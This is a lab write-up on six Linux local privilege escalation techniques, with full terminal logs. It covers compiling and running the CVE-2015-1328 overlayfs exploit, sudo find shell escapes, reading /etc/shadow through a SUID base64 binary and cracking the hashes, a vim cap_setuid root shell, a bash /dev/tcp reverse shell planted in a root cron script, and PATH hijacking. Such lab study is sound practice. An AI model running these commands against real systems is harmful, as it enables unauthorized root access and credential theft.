A practical study of core Linux local privilege escalation vectors: Kernel Vulnerabilities (overlayfs), Sudo Rights Abuse, SUID Binaries, Linux Capabilities, Insecure Cron Jobs, and PATH Hijacking.
This writeup documents concepts demonstrated in the following walkthrough:
▶️Linux Local Privilege Escalation Techniques — RedSecOps →CVE-2015-1328 local kernel exploit on Ubuntu 14.04 (3.13.0).
Passwordless sudo abuse via find -exec shell escape.
Reading protected /etc/shadow with base64 and cracking via Hashcat.
Spawning root shells via cap_setuid+ep enabled vim binaries.
Hijacking world/user-writable root cron scripts with reverse shells.
Exploiting relative binary calls in SUID programs by prepending /tmp.
Older kernels sometimes ship with unpatched bugs in core subsystems. CVE-2015-1328 is a classic example: a flaw in how OverlayFS handled file permissions on Ubuntu kernels prior to 3.19 let an unprivileged user trick the kernel into creating a SUID root file, leading directly to a root shell. The general workflow here — fingerprint the kernel version, search Exploit-DB for a matching local exploit, then compile and run it on target — applies to most kernel-exploit privesc paths, not just this one CVE.
Connecting via SSH, upgrading to an interactive TTY, and checking the running kernel version:
┌──(aravinda㉿kali)-[~/Downloads]
└─$ ssh karen@10.48.146.79
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
karen@wade7363:/$ uname -r
3.13.0-24-generic
karen@wade7363:/$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
┌──(aravinda㉿kali)-[~/Downloads]
└─$ searchsploit "Linux 3.13.0"
Linux Kernel 3.13.0 | linux/local/37292.c
Linux Kernel 3.13.0 | linux/local/37293.txt
┌──(aravinda㉿kali)-[~/Downloads]
└─$ searchsploit -m linux/local/37292.c
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
Codes: CVE-2015-1328
Copied to: /home/aravinda/Downloads/37292.c
karen@wade7363:/tmp$ nano exploit.c
karen@wade7363:/tmp$ gcc exploit.c -o exploit
karen@wade7363:/tmp$ chmod +x exploit
karen@wade7363:/tmp$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id;whoami;ifconfig;hostname
uid=0(root) gid=0(root) groups=0(root),1001(karen)
root
wade7363
Sudo misconfigurations are one of the most common privesc paths found in the wild. When a user is granted NOPASSWD access to a binary that can spawn a shell, read/write files, or execute arbitrary commands, that's effectively equivalent to full root access — GTFOBins catalogs exactly which common binaries (find, less, nano, vim, and dozens more) can be abused this way and how. The check is always the same first step: run sudo -l to see what the current user is allowed to run as root without a password.
┌──(aravinda㉿kali)-[~/Downloads]
└─$ ssh karen@10.49.160.253
$ script -c /bin/bash /dev/null
karen@ip-10-49-160-253:/$ sudo -l
Matching Defaults entries for karen on ip-10-49-160-253:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karen may run the following commands on ip-10-49-160-253:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
karen@ip-10-49-160-253:/$ sudo find . -exec /bin/sh \; -quit
# id;whoami;hostname;ip a
uid=0(root) gid=0(root) groups=0(root)
root
ip-10-49-160-253
NOPASSWD permissions are granted on find, executing a shell via the -exec flag provides an instant root shell.The SUID bit makes a binary run with the file owner's privileges rather than the caller's — useful for tools like passwd, but dangerous when set on a binary that can read or write arbitrary files. Here, base64 has SUID set, which means it can be used to read a file the current user normally couldn't access, like /etc/shadow. Once the hashes are extracted, offline cracking with Hashcat against a wordlist can recover weak passwords, opening the door to lateral movement to another account.
karen@ip-10-49-145-144:/$ find / -perm -u=s -type f 2>/dev/null
/snap/core/10185/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/base64
/usr/bin/fusermount
/usr/bin/at
/usr/bin/mount
/usr/bin/base64 has the SUID bit set, allowing reading of arbitrary protected files.karen@ip-10-49-145-144:/$ base64 /etc/shadow | base64 --decode
root:*:18561:0:99999:7:::
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:18796:0:99999:7:::
Cracking SHA-512 crypt hash (-m 1800) on Kali using rockyou.txt:
┌──(aravinda㉿kali)-[~/Downloads]
└─$ hashcat -m 1800 gerryhash /usr/share/wordlists/rockyou.txt
$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:test123
gerryconway:test123karen@ip-10-49-145-144:/$ su - gerryconway
Password: test123
$ id;whoami;hostname
uid=1001(gerryconway) gid=1001(gerryconway) groups=1001(gerryconway)
gerryconway
ip-10-49-145-144
Linux capabilities split up the traditional all-or-nothing root privilege into granular units, so a binary can be given just the power it needs (e.g. binding to low ports) instead of full SUID root. That granularity can still be dangerous: cap_setuid+ep lets a binary change the effective UID of the running process, which for something with an embedded scripting engine — like Vim with Python support — means the binary itself can be used to set its own UID to 0 and spawn a root shell.
karen@ip-10-49-190-210:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
/home/karen/vim possesses cap_setuid+ep, allowing the binary to manipulate process UID arbitrarily without full SUID root ownership.karen@ip-10-49-190-210:~$ ./vim -c ':python3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'
# id;whoami;hostname;ip a
uid=0(root) gid=1001(karen) groups=1001(karen)
root
ip-10-49-190-210
Scheduled tasks that run as root but point at scripts owned or writable by a lower-privileged user are a straightforward privesc path: whatever that script contains next time cron fires, it runs as root. The check is simple — read /etc/crontab (or drop-in cron directories) for root-owned jobs, then check the permissions on the script each job calls. If it's writable by the current user, replacing its contents with a reverse shell payload hands over a root session on the next scheduled run.
karen@ip-10-49-138-101:~$ cat /etc/crontab
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
karen@ip-10-49-138-101:~$ ls -ail /home/karen/backup.sh
256351 -rw-r--r-- 1 karen karen 77 Jun 20 2021 /home/karen/backup.sh
/home/karen/backup.sh executes as root every minute and is owned and writable by the user karen.karen@ip-10-49-138-101:~$ nano backup.sh
karen@ip-10-49-138-101:~$ cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.145.100/4444 0>&1
Setting up Netcat listener on the attacker machine:
┌──(aravinda㉿kali)-[~/Downloads]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
root@ip-10-49-138-101:~# id;whoami;hostname;ip a
uid=0(root) gid=0(root) groups=0(root)
root
ip-10-49-138-101
When a SUID binary calls another program without specifying its full path (e.g. system("thm") instead of /bin/thm), it relies on the shell's $PATH environment variable to locate that program at runtime. Since a normal user controls their own $PATH, prepending a directory they control (like /tmp) and dropping a same-named malicious script there tricks the SUID binary into executing attacker-controlled code — with the binary's elevated privileges. ltrace or strace is the usual way to spot these unqualified system/exec calls.
karen@ip-10-49-152-188:/home/murdoch$ find / -perm -4000 -ls 2>/dev/null
256346 20 -rwsr-xr-x 1 root root 16712 Jun 20 2021 /home/murdoch/test
karen@ip-10-49-152-188:/home/murdoch$ ltrace ./test
setuid(0) = -1
setgid(0) = -1
system("thm"sh: 1: thm: not found
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 32512
+++ exited (status 0) +++
system("thm") without specifying an absolute path (e.g., /bin/thm), relying on the current user's $PATH variable.karen@ip-10-49-152-188:/tmp$ cat << 'EOF' > /tmp/thm
#!/bin/bash
/bin/bash -p
EOF
karen@ip-10-49-152-188:/tmp$ chmod +x /tmp/thm
karen@ip-10-49-152-188:/tmp$ export PATH=/tmp:$PATH
karen@ip-10-49-152-188:/tmp$ cd /home/murdoch/
karen@ip-10-49-152-188:/home/murdoch$ ./test
root@ip-10-49-152-188:/home/murdoch# id;whoami;hostname
uid=0(root) gid=0(root) groups=0(root),1001(karen)
root
ip-10-49-152-188
./test runs, it prioritizes /tmp/thm from the manipulated $PATH and launches an elevated bash shell.| Vector | Detection Command | Exploitation Mechanism | Privilege Result |
|---|---|---|---|
| Kernel Exploit | uname -r | CVE-2015-1328 (OverlayFS local exploit) | Root (uid=0) |
| Sudo Abuse | sudo -l | sudo find . -exec /bin/sh \; -quit | Root (uid=0) |
| SUID Binary | find / -perm -u=s -type f | Arbitrary file read (base64 /etc/shadow) | Lateral User |
| Linux Capabilities | getcap -r / 2>/dev/null | cap_setuid+ep in Vim with Python bindings | Root (uid=0) |
| Cron Job Abuse | cat /etc/crontab | Inject reverse shell into user-writable root cron script | Root (uid=0) |
| PATH Hijacking | ltrace ./binary | Manipulate $PATH to resolve relative binary execution | Root (uid=0) |